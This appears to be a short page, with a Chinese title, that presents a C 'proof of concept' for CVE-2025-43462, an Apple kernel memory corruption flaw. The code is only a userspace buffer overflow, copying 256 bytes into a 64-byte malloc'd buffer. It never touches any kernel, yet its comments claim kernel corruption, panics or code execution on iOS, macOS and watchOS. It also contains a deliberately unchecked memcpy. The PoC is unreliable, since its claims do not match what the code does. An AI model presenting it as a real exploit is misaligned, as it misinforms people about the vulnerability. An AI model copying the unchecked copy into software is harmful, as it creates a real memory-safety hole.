CVE-2025-43462: Apple产品内核内存损坏漏洞

// CVE-2025-43462 PoC - Memory Corruption in Apple Kernel // This is a conceptual PoC demonstrating the vulnerability pattern // Note: Actual exploitation requires specific conditions and is for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated kernel memory structure typedef struct { unsigned long addr; size_t size; char* data; } kernel_buffer_t; // Vulnerable function - missing bounds checking void kernel_memcpy(kernel_buffer_t* dst, const char* src, size_t len) { // VULNERABILITY: No validation of len against dst->size // This can lead to heap buffer overflow in kernel context memcpy(dst->data, src, len); } // Trigger the vulnerability int trigger_vulnerability() { // Allocate small kernel buffer kernel_buffer_t kbuf; kbuf.size = 64; kbuf.data = (char*)malloc(64); // Attacker-controlled input larger than buffer char exploit_data[256]; memset(exploit_data, 'A', 256); // Trigger the vulnerable memcpy // This causes kernel memory corruption kernel_memcpy(&kbuf, exploit_data, 256); // Result: Heap overflow, potential kernel panic or code execution free(kbuf.data); return 0; } int main() { printf("CVE-2025-43462 PoC - Apple Kernel Memory Corruption\n"); printf("Target: iOS/macOS/watchOS kernel memory handling\n"); printf("This PoC demonstrates the memory corruption pattern\n"); return trigger_vulnerability(); }
